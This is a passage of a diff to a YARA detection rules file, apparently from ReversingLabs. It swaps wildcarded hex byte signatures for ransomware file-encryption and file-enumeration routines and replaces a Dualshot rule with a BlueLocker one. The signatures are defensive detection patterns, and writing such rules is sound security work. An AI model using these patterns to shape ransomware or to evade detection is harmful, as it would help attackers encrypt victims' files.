-            C6 85 ?? ?? ?? ?? ?? 83 FB ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 32 DB E9 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? C6 45 ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85
+		$crypto_file = {
+            55 89 E5 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? E8
+            ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 85 C0 74 ?? 89 45 ?? 8D 83 ?? ?? ?? ?? 8B 00
+            85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 4D ?? 51 56 57 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ??
+            89 45 ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? FF 75 ??
+            FF 93 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 45
+            ?? 8B 5D ?? C9 C2
         }
-		$find_files_1_2 = {
-            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB
-            ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 55 ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ??
-            8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1
-            6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
-            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D
-            ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 FE ?? 0F 43 C2 0F 43 CA 89 85 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 03 C1 83 FE ?? 8B F8 0F 43 DA 33 C9 2B FB 33 F6 3B D8 0F 47 F9 85
-            FF 74 ?? 0F BE 04 33 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 88 04 31 46 3B F7
-            75 ?? 33 C0 89 85 ?? ?? ?? ?? 8B 94 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D
-            71 ?? 8A 01 41 84 C0 75 ?? 2B CE 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 F9 ?? 0F
-            43 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 C2 03 85 ?? ?? ?? ?? 83 F9 ?? 8B F8
-            0F 43 DA 33 F6 2B FB 3B D8 0F 47 FE 85 FF 74
+		$crypt_file = {
+            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            5B 8D BD ?? ?? ?? ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D B3 ?? ?? ??
+            ?? 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 89 45 ?? 8D 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 30 FF 93 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 6A ??
+            FF 31 50 FF 36 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 8D B5 ?? ?? ?? ?? 51 6A ?? FF 36 68 ?? ?? ?? ?? FF 30 FF 93 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45
+            ?? 6A ?? FF 75 ?? FF 93 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
+            75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8D 7D ?? 8D 75 ?? 8D 55
+            ?? 52 56 57 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
+            45 ?? 6A ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 7D ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 57 FF 75 ?? 6A ?? 6A
+            ?? 6A ?? FF 36 FF 93 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 75 ??
+            FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 55 ?? 52 56 57
+            FF 75 ?? FF 93 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D B3 ??
+            ?? ?? ?? FF 06 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 50 FF 93 ?? ?? ?? ??
+            83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
         }
-		$encrypt_files = {
-            8A 01 41 84 C0 75 ?? 2B CA C6 85 ?? ?? ?? ?? ?? 33 C0 88 84 05 ?? ?? ?? ?? 40 3D ??
-            ?? ?? ?? 72 ?? 33 F6 8B C6 33 D2 F7 F1 8A 04 3A 02 C1 30 84 35 ?? ?? ?? ?? 46 81 FE
-            ?? ?? ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 55 ?? 8B F8 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            D8 85 FF 74 ?? 85 DB 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B F0 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 56 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ??
-            83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8
-            ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B
-            41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ??
-            E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D
-            ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ??
-            2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8
-            ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B
-            C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ??
-            ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
-            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$enum_files_1 = {
+            89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B E8 ??
+            ?? ?? ?? 8D 7D ?? 6A ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D 7D ?? 57 FF 93 ?? ?? ?? ??
+            83 F8 ?? 74 ?? EB ?? 8D 75 ?? 56 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
+        }
+		$enum_files_2 = {
+            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            66 C7 45 ?? ?? ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 83 7D ?? ?? 0F 84
+            ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56
+            FF 75 ?? FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ??
+            0F 84 ?? ?? ?? ?? 89 45 ?? 6A ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 55 ?? 8D B5
+            ?? ?? ?? ?? 52 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 55 ?? 8D B5 ?? ?? ?? ?? 52
+            56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 40 89 45 ?? 8D BD
+            ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 03 45 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 FF 75
+            ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 56 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? A9 ?? ?? ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? E8 ?? ?? ?? ??
+            EB ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75
+            ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ??
+            ?? ?? 85 C0 74 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF
+            75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74
+            ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and $find_files_1_0 and $find_files_1_1 and $find_files_1_2 and $encrypt_files
+		uint16(0)==0x5A4D and $enum_files_1 and $enum_files_2 and $crypto_file and $crypt_file and $remote_connection
 }
-rule REVERSINGLABS_Win32_Ransomware_Dualshot : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Bluelocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Dualshot ransomware."
+		description = "Yara rule that detects BlueLocker ransomware."
 		author = "ReversingLabs"
-		id = "17828c85-0f1b-581b-842a-24e6f26e0b4d"
-		date = "2020-11-20"
-		modified = "2020-11-20"
+		id = "145ff05e-c90d-598a-a3d5-220bd6df718a"
+		date = "2022-08-04"
+		modified = "2022-08-04"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Dualshot.yara#L1-L112"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a401369357901f42ad83227b025d3b14b3acd1f50705da82afbe8e4f85501919"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BlueLocker.yara#L1-L130"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fbe5f246f4554e63b5da6a0aca169e8221a84fce18fd437ae7ad9b068e9ca576"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27851,197 +29423,524 @@ rule REVERSINGLABS_Win32_Ransomware_Dualshot : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Dualshot"
+		tc_detection_name = "BlueLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$internal_encrypt_file = {
-            02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 02 28 ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? 03 28
-            ?? ?? ?? ?? 0D 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 09 16 09 8E 69 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 02 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ??
-            ?? 02 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 00 02 28 ?? ?? ?? ?? DE ?? 26
-            DE ?? 2A
-        }
 		$encrypt_files_p1 = {
-            11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ??
-            8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13
-            ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ??
-            17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 11
-            ?? 6F ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 1F ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12
-            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ??
-            ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 11 ??
-            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ??
-            26 DE ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 11 ??
-            A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 2C ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F
-            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 11 ??
-            72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 8B 75 ?? 57
+            8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 89 55 ?? 89 75 ??
+            89 45 ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15
+            ?? ?? ?? ?? 8B 55 ?? 33 C9 0B C8 89 55 ?? 89 4D ?? 83 FB ?? 75 ?? 0B C3 5F 5E 5B 8B
+            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
+            F0 FF 15 ?? ?? ?? ?? 33 C9 03 F0 83 C6 ?? 0F 92 C1 F7 D9 0B CE 51 E8 ?? ?? ?? ?? 8B
+            F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF 75 ??
+            56 E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 0F 8C ?? ??
+            ?? ?? 8B 45 ?? 0F 8F ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 85 C9 0F 8F ?? ??
+            ?? ?? 7C ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D
+            4D ?? D1 E8 89 45 ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8
         }
 		$encrypt_files_p2 = {
-            02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 17 9A 28 ?? ?? ?? ?? 13 ?? 02
-            18 9A 28 ?? ?? ?? ?? 2C ?? 02 18 9A 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 02 18 9A 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 18
-            9A 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 2A 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 18 8D ?? ??
-            ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 00
-            1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 08 20 ?? ?? ??
-            ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2
-            25 1A 11 ?? 08 11 ?? 8E 69 6F ?? ?? ?? ?? 9A A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 11 ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F
-            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11
-            ?? 1F ?? 3F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 17
-            6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 2A
+            66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B
+            C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 4F ?? C1 E1 ?? 0B C8 0F B6 47 ??
+            6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ??
+            0B C8 53 89 4D ?? FF D7 33 F6 8D 45 ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? FF 75 ?? BA ?? ?? ?? ?? 8D 4D ?? E8
